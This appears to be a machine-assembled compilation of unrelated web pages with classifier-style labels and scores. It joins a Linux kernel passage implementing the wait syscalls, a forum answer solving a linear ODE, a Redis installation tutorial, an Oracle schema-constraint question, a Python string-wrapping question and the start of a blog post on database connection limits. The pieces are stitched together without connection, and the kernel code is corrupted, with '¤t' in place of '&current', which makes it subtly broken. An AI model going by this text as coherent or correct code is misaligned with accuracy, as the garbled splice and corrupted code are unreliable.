state = (ptrace_reparented(p) && thread_group_leader(p)) ?
EXIT_TRACE : EXIT_DEAD;
if (cmpxchg(&p->exit_state, EXIT_ZOMBIE, state) != EXIT_ZOMBIE)
return 0;
/*
* We own this thread, nobody else can reap it.
*/
read_unlock(&tasklist_lock);
sched_annotate_sleep();
/*
* Check thread_group_leader() to exclude the traced sub-threads.
*/
if (state == EXIT_DEAD && thread_group_leader(p)) {
struct signal_struct *sig = p->signal;
struct signal_struct *psig = current->signal;
unsigned long maxrss;
u64 tgutime, tgstime;
/*
* The resource counters for the group leader are in its
* own task_struct. Those for dead threads in the group
* are in its signal_struct, as are those for the child
* processes it has previously reaped. All these
* accumulate in the parent's signal_struct c* fields.
*
* We don't bother to take a lock here to protect these
* p->signal fields because the whole thread group is dead
* and nobody can change them.
*
* psig->stats_lock also protects us from our sub-theads
* which can reap other children at the same time. Until
* we change k_getrusage()-like users to rely on this lock
* we have to take ->siglock as well.
*
* We use thread_group_cputime_adjusted() to get times for
* the thread group, which consolidates times for all threads
* in the group including the group leader.
*/
thread_group_cputime_adjusted(p, &tgutime, &tgstime);
spin_lock_irq(¤t->sighand->siglock);
write_seqlock(&psig->stats_lock);
psig->cutime += tgutime + sig->cutime;
psig->cstime += tgstime + sig->cstime;
psig->cgtime += task_gtime(p) + sig->gtime + sig->cgtime;
psig->cmin_flt +=
p->min_flt + sig->min_flt + sig->cmin_flt;
psig->cmaj_flt +=
p->maj_flt + sig->maj_flt + sig->cmaj_flt;
psig->cnvcsw +=
p->nvcsw + sig->nvcsw + sig->cnvcsw;
psig->cnivcsw +=
p->nivcsw + sig->nivcsw + sig->cnivcsw;
psig->cinblock +=
task_io_get_inblock(p) +
sig->inblock + sig->cinblock;
psig->coublock +=
task_io_get_oublock(p) +
sig->oublock + sig->coublock;
maxrss = max(sig->maxrss, sig->cmaxrss);
if (psig->cmaxrss < maxrss)
psig->cmaxrss = maxrss;
task_io_accounting_add(&psig->ioac, &p->ioac);
task_io_accounting_add(&psig->ioac, &sig->ioac);
write_sequnlock(&psig->stats_lock);
spin_unlock_irq(¤t->sighand->siglock);
}
retval = wo->wo_rusage
? getrusage(p, RUSAGE_BOTH, wo->wo_rusage) : 0;
status = (p->signal->flags & SIGNAL_GROUP_EXIT)
? p->signal->group_exit_code : p->exit_code;
if (!retval && wo->wo_stat)
retval = put_user(status, wo->wo_stat);
infop = wo->wo_info;
if (!retval && infop)
retval = put_user(SIGCHLD, &infop->si_signo);
if (!retval && infop)
retval = put_user(0, &infop->si_errno);
if (!retval && infop) {
int why;
if ((status & 0x7f) == 0) {
why = CLD_EXITED;
status >>= 8;
} else {
why = (status & 0x80) ? CLD_DUMPED : CLD_KILLED;
status &= 0x7f;
}
retval = put_user((short)why, &infop->si_code);
if (!retval)
retval = put_user(status, &infop->si_status);
}
if (!retval && infop)
retval = put_user(pid, &infop->si_pid);
if (!retval && infop)
retval = put_user(uid, &infop->si_uid);
if (!retval)
retval = pid;
if (state == EXIT_TRACE) {
write_lock_irq(&tasklist_lock);
/* We dropped tasklist, ptracer could die and untrace */
ptrace_unlink(p);
/* If parent wants a zombie, don't release it now */
state = EXIT_ZOMBIE;
if (do_notify_parent(p, p->exit_signal))
state = EXIT_DEAD;
p->exit_state = state;
write_unlock_irq(&tasklist_lock);
}
if (state == EXIT_DEAD)
release_task(p);
return retval;
}
static int *task_stopped_code(struct task_struct *p, bool ptrace)
{
if (ptrace) {
if (task_is_traced(p) && !(p->jobctl & JOBCTL_LISTENING))
return &p->exit_code;
} else {
if (p->signal->flags & SIGNAL_STOP_STOPPED)
return &p->signal->group_exit_code;
}
return NULL;
}
/**
* wait_task_stopped - Wait for %TASK_STOPPED or %TASK_TRACED
* @wo: wait options
* @ptrace: is the wait for ptrace
* @p: task to wait for
*
* Handle sys_wait4() work for %p in state %TASK_STOPPED or %TASK_TRACED.
*
* CONTEXT:
* read_lock(&tasklist_lock), which is released if return value is
* non-zero. Also, grabs and releases @p->sighand->siglock.
*
* RETURNS:
* 0 if wait condition didn't exist and search for other wait conditions
* should continue. Non-zero return, -errno on failure and @p's pid on
* success, implies that tasklist_lock is released and wait condition
* search should terminate.
*/
static int wait_task_stopped(struct wait_opts *wo,
int ptrace, struct task_struct *p)
{
struct siginfo __user *infop;
int retval, exit_code, *p_code, why;
uid_t uid = 0; /* unneeded, required by compiler */
pid_t pid;
/*
* Traditionally we see ptrace'd stopped tasks regardless of options.
*/
if (!ptrace && !(wo->wo_flags & WUNTRACED))
return 0;
if (!task_stopped_code(p, ptrace))
return 0;
exit_code = 0;
spin_lock_irq(&p->sighand->siglock);
p_code = task_stopped_code(p, ptrace);
if (unlikely(!p_code))
goto unlock_sig;
exit_code = *p_code;
if (!exit_code)
goto unlock_sig;
if (!unlikely(wo->wo_flags & WNOWAIT))
*p_code = 0;
uid = from_kuid_munged(current_user_ns(), task_uid(p));
unlock_sig:
spin_unlock_irq(&p->sighand->siglock);
if (!exit_code)
return 0;
/*
* Now we are pretty sure this task is interesting.
* Make sure it doesn't get reaped out from under us while we
* give up the lock and then examine it below. We don't want to
* keep holding onto the tasklist_lock while we call getrusage and
* possibly take page faults for user memory.
*/
get_task_struct(p);
pid = task_pid_vnr(p);
why = ptrace ? CLD_TRAPPED : CLD_STOPPED;
read_unlock(&tasklist_lock);
sched_annotate_sleep();
if (unlikely(wo->wo_flags & WNOWAIT))
return wait_noreap_copyout(wo, p, pid, uid, why, exit_code);
retval = wo->wo_rusage
? getrusage(p, RUSAGE_BOTH, wo->wo_rusage) : 0;
if (!retval && wo->wo_stat)
retval = put_user((exit_code << 8) | 0x7f, wo->wo_stat);
infop = wo->wo_info;
if (!retval && infop)
retval = put_user(SIGCHLD, &infop->si_signo);
if (!retval && infop)
retval = put_user(0, &infop->si_errno);
if (!retval && infop)
retval = put_user((short)why, &infop->si_code);
if (!retval && infop)
retval = put_user(exit_code, &infop->si_status);
if (!retval && infop)
retval = put_user(pid, &infop->si_pid);
if (!retval && infop)
retval = put_user(uid, &infop->si_uid);
if (!retval)
retval = pid;
put_task_struct(p);
BUG_ON(!retval);
return retval;
}
/*
* Handle do_wait work for one task in a live, non-stopped state.
* read_lock(&tasklist_lock) on entry. If we return zero, we still hold
* the lock and this task is uninteresting. If we return nonzero, we have
* released the lock and the system call should return.
*/
static int wait_task_continued(struct wait_opts *wo, struct task_struct *p)
{
int retval;
pid_t pid;
uid_t uid;
if (!unlikely(wo->wo_flags & WCONTINUED))
return 0;
if (!(p->signal->flags & SIGNAL_STOP_CONTINUED))
return 0;
spin_lock_irq(&p->sighand->siglock);
/* Re-check with the lock held. */
if (!(p->signal->flags & SIGNAL_STOP_CONTINUED)) {
spin_unlock_irq(&p->sighand->siglock);
return 0;
}
if (!unlikely(wo->wo_flags & WNOWAIT))
p->signal->flags &= ~SIGNAL_STOP_CONTINUED;
uid = from_kuid_munged(current_user_ns(), task_uid(p));
spin_unlock_irq(&p->sighand->siglock);
pid = task_pid_vnr(p);
get_task_struct(p);
read_unlock(&tasklist_lock);
sched_annotate_sleep();
if (!wo->wo_info) {
retval = wo->wo_rusage
? getrusage(p, RUSAGE_BOTH, wo->wo_rusage) : 0;
put_task_struct(p);
if (!retval && wo->wo_stat)
retval = put_user(0xffff, wo->wo_stat);
if (!retval)
retval = pid;
} else {
retval = wait_noreap_copyout(wo, p, pid, uid,
CLD_CONTINUED, SIGCONT);
BUG_ON(retval == 0);
}
return retval;
}
/*
* Consider @p for a wait by @parent.
*
* -ECHILD should be in ->notask_error before the first call.
* Returns nonzero for a final return, when we have unlocked tasklist_lock.
* Returns zero if the search for a child should continue;
* then ->notask_error is 0 if @p is an eligible child,
* or still -ECHILD.
*/
static int wait_consider_task(struct wait_opts *wo, int ptrace,
struct task_struct *p)
{
/*
* We can race with wait_task_zombie() from another thread.
* Ensure that EXIT_ZOMBIE -> EXIT_DEAD/EXIT_TRACE transition
* can't confuse the checks below.
*/
int exit_state = ACCESS_ONCE(p->exit_state);
int ret;
if (unlikely(exit_state == EXIT_DEAD))
return 0;
ret = eligible_child(wo, ptrace, p);
if (!ret)
return ret;
if (unlikely(exit_state == EXIT_TRACE)) {
/*
* ptrace == 0 means we are the natural parent. In this case
* we should clear notask_error, debugger will notify us.
*/
if (likely(!ptrace))
wo->notask_error = 0;
return 0;
}
if (likely(!ptrace) && unlikely(p->ptrace)) {
/*
* If it is traced by its real parent's group, just pretend
* the caller is ptrace_do_wait() and reap this child if it
* is zombie.
*
* This also hides group stop state from real parent; otherwise
* a single stop can be reported twice as group and ptrace stop.
* If a ptracer wants to distinguish these two events for its
* own children it should create a separate process which takes
* the role of real parent.
*/
if (!ptrace_reparented(p))
ptrace = 1;
}
/* slay zombie? */
if (exit_state == EXIT_ZOMBIE) {
/* we don't reap group leaders with subthreads */
if (!delay_group_leader(p)) {
/*
* A zombie ptracee is only visible to its ptracer.
* Notification and reaping will be cascaded to the
* real parent when the ptracer detaches.
*/
if (unlikely(ptrace) || likely(!p->ptrace))
return wait_task_zombie(wo, p);
}
/*
* Allow access to stopped/continued state via zombie by
* falling through. Clearing of notask_error is complex.
*
* When !@ptrace:
*
* If WEXITED is set, notask_error should naturally be
* cleared. If not, subset of WSTOPPED|WCONTINUED is set,
* so, if there are live subthreads, there are events to
* wait for. If all subthreads are dead, it's still safe
* to clear - this function will be called again in finite
* amount time once all the subthreads are released and
* will then return without clearing.
*
* When @ptrace:
*
* Stopped state is per-task and thus can't change once the
* target task dies. Only continued and exited can happen.
* Clear notask_error if WCONTINUED | WEXITED.
*/
if (likely(!ptrace) || (wo->wo_flags & (WCONTINUED | WEXITED)))
wo->notask_error = 0;
} else {
/*
* @p is alive and it's gonna stop, continue or exit, so
* there always is something to wait for.
*/
wo->notask_error = 0;
}
/*
* Wait for stopped. Depending on @ptrace, different stopped state
* is used and the two don't interact with each other.
*/
ret = wait_task_stopped(wo, ptrace, p);
if (ret)
return ret;
/*
* Wait for continued. There's only one continued state and the
* ptracer can consume it which can confuse the real parent. Don't
* use WCONTINUED from ptracer. You don't need or want it.
*/
return wait_task_continued(wo, p);
}
/*
* Do the work of do_wait() for one thread in the group, @tsk.
*
* -ECHILD should be in ->notask_error before the first call.
* Returns nonzero for a final return, when we have unlocked tasklist_lock.
* Returns zero if the search for a child should continue; then
* ->notask_error is 0 if there were any eligible children,
* or still -ECHILD.
*/
static int do_wait_thread(struct wait_opts *wo, struct task_struct *tsk)
{
struct task_struct *p;
list_for_each_entry(p, &tsk->children, sibling) {
int ret = wait_consider_task(wo, 0, p);
if (ret)
return ret;
}
return 0;
}
static int ptrace_do_wait(struct wait_opts *wo, struct task_struct *tsk)
{
struct task_struct *p;
list_for_each_entry(p, &tsk->ptraced, ptrace_entry) {
int ret = wait_consider_task(wo, 1, p);
if (ret)
return ret;
}
return 0;
}
static int child_wait_callback(wait_queue_t *wait, unsigned mode,
int sync, void *key)
{
struct wait_opts *wo = container_of(wait, struct wait_opts,
child_wait);
struct task_struct *p = key;
if (!eligible_pid(wo, p))
return 0;
if ((wo->wo_flags & __WNOTHREAD) && wait->private != p->parent)
return 0;
return default_wake_function(wait, mode, sync, key);
}
void __wake_up_parent(struct task_struct *p, struct task_struct *parent)
{
__wake_up_sync_key(&parent->signal->wait_chldexit,
TASK_INTERRUPTIBLE, 1, p);
}
static long do_wait(struct wait_opts *wo)
{
struct task_struct *tsk;
int retval;
trace_sched_process_wait(wo->wo_pid);
init_waitqueue_func_entry(&wo->child_wait, child_wait_callback);
wo->child_wait.private = current;
add_wait_queue(¤t->signal->wait_chldexit, &wo->child_wait);
repeat:
/*
* If there is nothing that can match our criteria, just get out.
* We will clear ->notask_error to zero if we see any child that
* might later match our criteria, even if we are not able to reap
* it yet.
*/
wo->notask_error = -ECHILD;
if ((wo->wo_type < PIDTYPE_MAX) &&
(!wo->wo_pid || hlist_empty(&wo->wo_pid->tasks[wo->wo_type])))
goto notask;
set_current_state(TASK_INTERRUPTIBLE);
read_lock(&tasklist_lock);
tsk = current;
do {
retval = do_wait_thread(wo, tsk);
if (retval)
goto end;
retval = ptrace_do_wait(wo, tsk);
if (retval)
goto end;
if (wo->wo_flags & __WNOTHREAD)
break;
} while_each_thread(current, tsk);
read_unlock(&tasklist_lock);
notask:
retval = wo->notask_error;
if (!retval && !(wo->wo_flags & WNOHANG)) {
retval = -ERESTARTSYS;
if (!signal_pending(current)) {
schedule();
goto repeat;
}
}
end:
__set_current_state(TASK_RUNNING);
remove_wait_queue(¤t->signal->wait_chldexit, &wo->child_wait);
return retval;
}
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct wait_opts wo;
struct pid *pid = NULL;
enum pid_type type;
long ret;
if (options & ~(WNOHANG|WNOWAIT|WEXITED|WSTOPPED|WCONTINUED|
__WNOTHREAD|__WCLONE|__WALL))
return -EINVAL;
if (!(options & (WEXITED|WSTOPPED|WCONTINUED)))
return -EINVAL;
switch (which) {
case P_ALL:
type = PIDTYPE_MAX;
break;
case P_PID:
type = PIDTYPE_PID;
if (upid <= 0)
return -EINVAL;
break;
case P_PGID:
type = PIDTYPE_PGID;
if (upid <= 0)
return -EINVAL;
break;
default:
return -EINVAL;
}
if (type < PIDTYPE_MAX)
pid = find_get_pid(upid);
wo.wo_type = type;
wo.wo_pid = pid;
wo.wo_flags = options;
wo.wo_info = infop;
wo.wo_stat = NULL;
wo.wo_rusage = ru;
ret = do_wait(&wo);
if (ret > 0) {
ret = 0;
} else if (infop) {
/*
* For a WNOHANG return, clear out all the fields
* we would set so the user can easily tell the
* difference.
*/
if (!ret)
ret = put_user(0, &infop->si_signo);
if (!ret)
ret = put_user(0, &infop->si_errno);
if (!ret)
ret = put_user(0, &infop->si_code);
if (!ret)
ret = put_user(0, &infop->si_pid);
if (!ret)
ret = put_user(0, &infop->si_uid);
if (!ret)
ret = put_user(0, &infop->si_status);
}
put_pid(pid);
return ret;
}
SYSCALL_DEFINE4(wait4, pid_t, upid, int __user *, stat_addr,
int, options, struct rusage __user *, ru)
{
struct wait_opts wo;
struct pid *pid = NULL;
enum pid_type type;
long ret;
if (options & ~(WNOHANG|WUNTRACED|WCONTINUED|
__WNOTHREAD|__WCLONE|__WALL))
return -EINVAL;
if (upid == -1)
type = PIDTYPE_MAX;
else if (upid < 0) {
type = PIDTYPE_PGID;
pid = find_get_pid(-upid);
} else if (upid == 0) {
type = PIDTYPE_PGID;
pid = get_task_pid(current, PIDTYPE_PGID);
} else /* upid > 0 */ {
type = PIDTYPE_PID;
pid = find_get_pid(upid);
}
wo.wo_type = type;
wo.wo_pid = pid;
wo.wo_flags = options | WEXITED;
wo.wo_info = NULL;
wo.wo_stat = stat_addr;
wo.wo_rusage = ru;
ret = do_wait(&wo);
put_pid(pid);
return ret;
}
#ifdef __ARCH_WANT_SYS_WAITPID
/*
* sys_waitpid() remains for compatibility. waitpid() should be
* implemented by calling sys_wait4() from libc.a.
*/
SYSCALL_DEFINE3(waitpid, pid_t, pid, int __user *, stat_addr, int, options)
{
return sys_wait4(pid, stat_addr, options, NULL);
}
#endif | __label__pos | 0.868139 |
Results 1 to 2 of 2
Math Help - find particular solution for first order linear DE
1. #1
Newbie
Joined
Sep 2010
Posts
2
Exclamation find particular solution for first order linear DE
(1+x)y' + y = cos(x).... y(0) = 1
So far, I have:
P(x) = 1/(1+x)
Q(x) = cos(x)/(1+x)
p(x) = e^int(P(x))dx = e^int(1/1+x)dx = e^(ln(1+x))
... I think I did the integral wrong. It's been half a year, my integration skills need to worked on. But this homework is due in an hour and if somebody could real quickly guide me thru it and then I can work thru this section on my own when I don't have pressure to turn homework in... I would really appreciate it!
Once I have p(x), I multiply both sides of DE by it.
Then I'm supposed to "recognize" that left side is a derivative, so taking integral of both sides just means taking integral of right side.
Once I do that, I'll have a C, so is that when I plug in the initial condition?
And then once I get C and substitue that number in, that's my particular solution?
Thanks!
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2. #2
MHF Contributor
Prove It's Avatar
Joined
Aug 2008
Posts
12,209
Thanks
1722
You have gotten the DE to the point where
\frac{dy}{dx} + \left(\frac{1}{1 + x}\right)y = \frac{\cos{x}}{1 + x}
and so the integrating factor is e^{\int{\frac{1}{1 + x}\,dx}} = e^{\ln{(1 + x)}} = 1 + x.
Multiplying through by the integrating factor gives
(1 + x)\frac{dy}{dx} + y = \cos{x}
\frac{d}{dx}[(1 + x)y] = \cos{x}
(1 + x)y = \int{\cos{x}\,dx}
(1 + x)y = \sin{x} + C
y = \frac{\sin{x} + C}{1 + x}.
Plugging in the initial condition y(0) = 1 gives
1 = \frac{\sin{0} + C}{1 + 0}
1 = \frac{0 + C}{1}
1 = C.
Therefore y = \frac{\sin{x} + 1}{1 + x}.
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/mathhelpforum @mathhelpforum | __label__pos | 0.995156 |
How to Install Redis Server in CentOS and Debian Based Systems
Redis is an open-source, high-performance and flexible in-memory data structure store (key-value format) – used as a database, cache and message broker. It is written in ANSI C and runs on most if not all Unix-like operating systems including Linux (recommended for deploying) without external dependencies.
It is feature-rich, supports multiple programming languages and data structures including strings, hashes, lists, sets, sorted sets with range queries, bitmaps among others.
Redis Features:
• Supports most programming languages including C, Bash, Python, PHP, Node.js, Perl, Ruby just to mention but a few.
• Has inherent replication, Lua scripting, LRU eviction, transactions as well as varying levels of on-disk persistence.
• Provides high availability through Redis Sentinel and automatic partitioning via Redis Cluster.
• Supports running atomic operations.
• It works with an in-memory dataset to attain remarkable performance.
• Supports trivial-to-setup master-slave asynchronous replication.
• Supports automatic failover.
• Enables you to save the dataset to disk infrequently for a given period of time, or by appending each command to a log.
• Allows optional disabling of persistence.
• Supports publish/subscribe messaging.
• It also supports MULTI, EXEC, DISCARD and WATCH transactions and many more.
Requirements:
1. A CentOS 7 Server and RHEL 7 Server with Minimal Install
2. A Ubuntu Server or Debian Server with Minimal Install
3. GCC compiler and libc
In this tutorial, we will provide instructions on how to install a Redis Server from source (which is the recommended method) in Linux. We will also show how to configure, manage and secure Redis. Since Redis serves all data from memory, we strongly suggest using a high memory VPS Server with this guide.
Step 1: Install Redis Server from Source
1. First, install the required build dependencies.
--------------- On CentOS / RHEL / Fedora ---------------
# yum groupinstall "Development Tools"
# dnf groupinstall "Development Tools"
--------------- On Debian / Ubuntu ---------------
$ sudo apt install build-essential
2. Next, download and compile the latest stable Redis version using the special URL that always points to the latest stable Redis using wget command.
$ wget -c http://download.redis.io/redis-stable.tar.gz
$ tar -xvzf redis-stable.tar.gz
$ cd redis-stable
$ make
$ make test
$ sudo make install
3. After the Redis compilation the src directory inside the Redis distribution is populated with the different following executables that are part of Redis:
• redis-server – redis server.
• redis-sentinel – redis sentinel executable (monitoring and failover).
• redis-cli – a CLI utility to interact with redis.
• redis-benchmark – used to check redis performances.
• redis-check-aof and redis-check-dump – useful in the rare event of corrupted data files.
Step 2: Configure Redis Server in Linux
4. Next, you need to configure Redis for a development environment to be managed by the init system (systemd for the purpose of this tutorial). Start by creating the necessary directories for storing Redis config files and your data:
$ sudo mkdir /etc/redis
$ sudo mkdir -p /var/redis/
4. Then copy the template Redis configuration file provided, into the directory you created above.
$ sudo cp redis.conf /etc/redis/
5. Now open the configuration file and update a few settings as follows.
$ sudo vi /etc/redis/redis.conf
6. Next search for the following options, then change (or use) their default values according to your local environment needs.
port 6379 #default port is already 6379.
daemonize yes #run as a daemon
supervised systemd #signal systemd
pidfile /var/run/redis.pid #specify pid file
loglevel notice #server verbosity level
logfile /var/log/redis.log #log file name
dir /var/redis/ #redis directory
Step 3: Create Redis Systemd Unit File
7. Now you need to create a systemd unit file for redis in order to control the daemon, by running the following command.
$ sudo vi /etc/systemd/system/redis.service
And add the configuration below:
[Unit]
Description=Redis In-Memory Data Store
After=network.target
[Service]
User=root
Group=root
ExecStart=/usr/local/bin/redis-server /etc/redis/redis.conf
ExecStop=/usr/local/bin/redis-cli shutdown
Restart=always
Type=forking
[Install]
WantedBy=multi-user.target
Save and close the file.
Step 4: Manage and Test Redis Server in Linux
8. Once you have performed all the necessary configurations, you can now start the Redis server, for now, enable it to auto-start at system boot; then view its status as follows.
$ sudo systemctl start redis
$ sudo systemctl enable redis
$ sudo systemctl status redis
9. Next, test if the whole redis setup is working fine. To interact with redis server, use the redis-cli command. After connecting to the server, try running a few commands.
$ redis-cli
Test connection to server using ping command:
127.0.0.1:6379> ping
Use the echo command to echo a given string:
127.0.0.1:6379> echo "Tecmint is testing Redis"
You can also set a key value using the set command like this:
127.0.0.1:6379> set mykey "Tecmint is testing Redis"
Now view the value of mykey:
127.0.0.1:6379> get mykey
10. Then close the connection with the exit command, and restart the redis server. Afterward, check if mykey is still stored on the server as shown below:
127.0.0.1:6379> exit
$ sudo systemctl restart redis
$ redis-cli
127.0.0.1:6379> get mykey
11. To delete a key, use the delete command as follows:
127.0.0.1:6379> del mykey
127.0.0.1:6379> get mykey
Step 5: Securing Redis Server in Linux
12. This section is intended for users who intend to use a redis server connected to an external network like the Internet.
Important: Exposing redis to the Internet without any security makes it extremely easy to exploit; therefore secure the redis server as follows:
• block connections to the redis port in the system firewalled
• set bind directive to loopback interface: 127.0.0.1
• set requirepass option so that clients will be required to authenticate using the AUTH command.
• setup SSL tunneling to encrypt traffic between Redis servers and Redis clients.
For more usage information, run the command below:
$ redis-cli -h
You can find more server commands and learn how to use redis within your application from the Redis Homepage: https://redis.io/
In this tutorial, we showed how to install, configure, manage as well as secure Redis in Linux. To share any thoughts, use the comment form below.
Aaron Kili
Aaron Kili is a Linux and F.O.S.S enthusiast, an upcoming Linux SysAdmin, web developer, and currently a content creator for TecMint who loves working with computers and strongly believes in sharing knowledge.
Each tutorial at TecMint is created by a team of experienced Linux system administrators so that it meets our high-quality standards.
Join the TecMint Weekly Newsletter (More Than 156,129 Linux Enthusiasts Have Subscribed)
Was this article helpful? Please add a comment or buy me a coffee to show your appreciation.
7 thoughts on “How to Install Redis Server in CentOS and Debian Based Systems”
1. Very nice article, although there is a small mistake, in the service file ‘/etc/systemd/system/redis.service‘, the following line:
Type=Forking
should be:
Type=forking
It needs to be lower-cased.
Reply
2. Not working for me:
3589:C 25 Aug 22:52:53.868 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
3589:C 25 Aug 22:52:53.868 # Redis version=4.0.1, bits=64, commit=00000000, modified=0, pid=3589, just started
3589:C 25 Aug 22:52:53.868 # Configuration loaded
3589:C 25 Aug 22:52:53.868 # systemd supervision requested, but NOTIFY_SOCKET not found
3590:M 25 Aug 22:52:53.869 * Increased maximum number of open files to 10032 (it was originally set to 1024).
Reply
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This business model is for a case management database. This is closely modeled on the idea of a file folder representing the phase and a sequential checklist representing the stages. A case consists of a phase that can have one or more stages. A phase can only have one stage that is "Current" or open at any one point in time. A case can only start from one type of stage but can progress to any one of a number of stages that are end types. In this business model there are many different types of phases and stages
An example: you apply for a license. The process always starts with you submitting a form but can have different endings: the application is approved or rejected or sent back for more information.
Edit: @Colin 't Hart asks what a phase is in relation to a case. Here is where trying to simplify a question can omit details. The complete schema structure is: - one case can have one or more phases but only one phase is open or "current" at at time. - each phase can have one or more stages but only one phase is open or "current" at a time. - there are different types of cases/phases/stages and transitions from the current unit to the next unit require adding a close date to the current and inserting a new record with an open date. An example: a production line for widgets
• a production ticket initiates the creation of the case
• the first phase: sourcing components is created
• the first stage: contacting suppliers is created
• the first stage is completed, the second stage: orders from suppliers is opened
• orders stage is closed, inventory check stage is created
• inventory stage is closed, sourcing components phase is closed
• new phase: assembly is opened
• new stage: move components to shop floor is opened
• moving components stage is closed, new stage production line is opened
• and so on....
Problem:
• the existing table structure is flawed in that the same information (what is the first type of stage for a kind of phase) is stored in two different tables
• You can have more than one entry in STAGE where IS_START_STAGE = 1 which violates a business rule
• You can insert a new entry into STAGE where IS_START_STAGE = 1 and this does not match the corresponding entry in PHASE_FIRST_STAGE
• the relationship should be something like constraint PHASE_FIRST_STAGE.STAGE_ID can only be in the entries in STAGE where IS_FIRST_STAGE = 1
• Is there anyway to enforce these business rules?
CREATE TABLE PHASE_FIRST_STAGE
(
PHASE_ID NUMBER(9) NOT NULL, --PRIMARY KEY and foreign key to PHASE
STAGE_ID NUMBER(9) NOT NULL, --FOREIGN KEY to STAGE table
);
ALTER TABLE PHASE_FIRST_STAGE ADD (CONSTRAINT PFS01
FOREIGN KEY (PHASE_ID)
REFERENCES PHASE (ID),
FOREIGN KEY (STAGE_ID)
REFERENCES STAGE (ID));
COMMENT ON TABLE PHASE_FIRST_STAGE IS 'Contains the default first stages to enter when a phase is entered.';
CREATE TABLE STAGE
(
ID NUMBER(9) NOT NULL, --PRIMARY KEY
PHASE_ID NUMBER(9) NOT NULL, --FOREIGN KEY to PHASE
DISABLED NUMBER(1) DEFAULT 0 NOT NULL, --CHECK IN (0,1)
IS_START_STAGE NUMBER(1),--CHECK IN (0,1)
IS_END_STAGE NUMBER(1) --CHECK IN (0,1)
);
COMMENT ON TABLE STAGE IS 'Contains all the stages a phase can have. Each stage must have only one phase. ';
--not shown is a similar table called PHASE with a one phase => many type of stage relationship
share|improve this question
If you have to add business logic in constraints, you can use triggers to enforce the business rules – Nicolas Durand Sep 17 '13 at 6:50
I find it very difficult to understand what you're describing and how the datamodel is supposed to solve the problem. Could you separate the two: first describe purely your business -- without refering to the data model, and then describe how your data model implements it? – Colin 't Hart Sep 24 '13 at 19:03
Can you give us examples of phases? I can understand how a case (for example, a driver's license application) could go through various stages (application, rejection, approval) but how do the phases come into it? – Colin 't Hart Sep 25 '13 at 8:50
Justin Cave's answer here and Tom Kyte's pointed me to a solution using a function based index. I think this can be made even simpler with some more thought but this works now:
CREATE OR REPLACE FUNCTION UNIQUE_START_STAGE (
phase_id_in IN NUMBER,
stage_id_in IN NUMBER)
RETURN NUMBER
DETERMINISTIC
IS
-- PURPOSE:enforce business logic that a phase can have only one stage where
-- the disabled field has a value of 0 and IS_START_STAGE has a value of 1
v_count NUMBER (9);
BEGIN
SELECT COUNT (s.id)
INTO v_count
FROM STAGE s
WHERE S.IS_START_STAGE = 1
AND s.disabled = 0
AND S.PHASE_ID = phase_id_in;
IF v_count = 1
THEN
--return the primary key if there is only one
v_count := stage_id_in;
ELSIF v_count < 1
THEN
v_count := NULL;
END IF;
RETURN v_count;
END UNIQUE_START_STAGE;
and then we create an index based the idea that there can only be one child stage that is enabled for a phase that is the start stage
CREATE UNIQUE INDEX unique_start_stage_idx
ON stage (
CASE
WHEN disabled = 1 THEN NULL
WHEN is_start_stage = 0 THEN NULL
ELSE UNIQUE_START_STAGE (phase_id, id)
END);
--and add the same constraint to the other table
CREATE UNIQUE INDEX unique_start_stage_idx2 ON PHASE_FIRST_STAGE ( UNIQUE_START_STAGE (phase_id, stage_id));
This solution partially solves the problem:
• it enforces that there is only one entry in STAGE for each value of PHASE_ID where IS_START_STAGE =1 and DISABLED = 0
• it enforces this same uniqueness in PHASE_FIRST_STAGE
• it does not enforce that an entry in STAGE is also in PHASE_FIRST_STAGE
• you could replace the PHASE_FIRST_STAGE table with a view of STAGE that cleans up the last issue
share|improve this answer
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Take the 2-minute tour ×
Stack Overflow is a question and answer site for professional and enthusiast programmers. It's 100% free, no registration required.
I have a script in which a very long argument of type str is passed to a function:
parser = argparse.ArgumentParser(description='Auto-segments a text based on the TANGO algorithm (Rie Kubota Ando and Lillian Lee, "Mostly-Unsupervised Statistical Segmentation of Japanese Kanji Sequences" (Natural Language Engineering, 9(2):127-149, 2003)).')
I'd like to limit line length in this script to 79 chars, which means line breaking in the middle of the string in question. Simply wrapping at 79 yields something like this, which is syntactically ill-formed:
parser = argparse.ArgumentParser(description="Auto-segments a text based on
the TANGO algorithm (Rie Kubota Ando and Lillian Lee, 'Mostly-Unsupervis
ed Statistical Segmentation of Japanese Kanji Sequences' (Natural Langua
ge Engineering, 9(2):127-149, 2003)).")
PEP 8 has guidelines for breaking lines in various non-argument-string-internal locations, but is there a way to break the line in the middle of an argument string?
(Related but less important question: What is a sensible/conventional way to break natural language text mid-word inside a (python) script?)
share|improve this question
add comment
3 Answers
up vote 1 down vote accepted
Literal strings can appear next to each other, and will compile to a single string. Thus:
parser = argparse.ArgumentParser(description="Auto-segments a text based on "
"the TANGO algorithm (Rie Kubota Ando and Lillian Lee, 'Mostly-Unsupervised "
"Statistical Segmentation of Japanese Kanji Sequences' (Natural Language "
"Engineering, 9(2):127-149, 2003)).")
Adjust as desired to fit in 80.
share|improve this answer
add comment
>>>longarg = "ABCDEF\
GHIJKLMNOPQRSTUVW\
XYZ"
>>>print longarg
ABCDEFGHIJKLMNOPQRSTUVWXYZ
share|improve this answer
add comment
argparse reformats the description string anyway, so it won't change the result if you use a multiline string with extra spaces:
import argparse
parser = argparse.ArgumentParser(description='''Auto-segments a text based on the
TANGO algorithm (Rie Kubota Ando and Lillian Lee, "Mostly-Unsupervised
Statistical Segmentation of Japanese Kanji Sequences" (Natural Language
Engineering, 9(2):127-149, 2003)).''')
args = parser.parse_args()
% test.py -h
usage: test.py [-h]
Auto-segments a text based on the TANGO algorithm (Rie Kubota Ando and Lillian Lee,
"Mostly-Unsupervised Statistical Segmentation of Japanese Kanji Sequences" (Natural
Language Engineering, 9(2):127-149, 2003)).
optional arguments:
-h, --help show this help message and exit
share|improve this answer
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Your Answer
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How to Handle Database Connection Limits
Most databases including Microsoft SQL have a maximum open connection limit. As technology advances, the demand for uninterrupted database access will only grow.
In today's technology-driven world, databases play a crucial role in storing and managing vast amounts of data. However, it is essential to be aware that most databases have a maximum open connection limit.
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When this limit is reached, it can lead to performance issues and even cause the database to become unresponsive.
In this blog post, we will explore the concept of connection limits and discuss how they apply to popular databases such as Microsoft SQL, Oracle Database, MySQL, and PostgreSQL. We start with Microsoft SQL in this post.
